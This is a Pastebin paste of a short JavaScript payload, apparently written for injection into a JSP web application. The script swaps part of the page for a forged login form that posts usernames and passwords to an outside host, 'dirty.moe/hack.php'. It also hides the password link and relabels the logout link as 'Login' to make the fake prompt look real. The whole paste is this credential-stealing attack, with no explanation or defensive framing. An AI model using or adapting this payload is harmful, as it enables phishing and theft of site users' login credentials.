Advertisement
Guest User

Untitled

a guest
Apr 27th, 2017
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.09 KB | None | 0 0
  1. $(document).ready(function(){
  2.  
  3. var jq = document.createElement('script');
  4. jq.src = 'https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js';
  5. jq.type = 'text/javascript';
  6. document.getElementsByTagName('head')[0].appendChild(jq);
  7.  
  8. var x = document.createElement('script');
  9. x.innerHTML = `
  10. $('td[valign="top"]:nth-of-type(2)').replaceWith('<h3>Login</h3>Please enter your credentials: <br><br><form method="POST" action="http://dirty.moe/hack.php"><center><table><tbody><tr><td>Username:</td><td><input id="username" name="username" data-cip-id="username"></td> </tr><tr><td>Password:</td><td><input id="password" name="password" type="password" data-cip-id="password"></td></tr><tr><td></td><td><input id="submit" type="submit" value="Login"></td></tr></tbody></table></center></form>If you dont have an account with us then please <a href="register.jsp">Register</a> now for a free account.<br><br>');
  11.  
  12. var a = $('a[href="password.jsp"]');
  13. a.hide();
  14. a.parent().html('Guest User');
  15.  
  16. $('a[href="logout.jsp"]').html("Login");
  17. `
  18. document.getElementsByTagName('head')[0].appendChild(x);
  19.  
  20. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement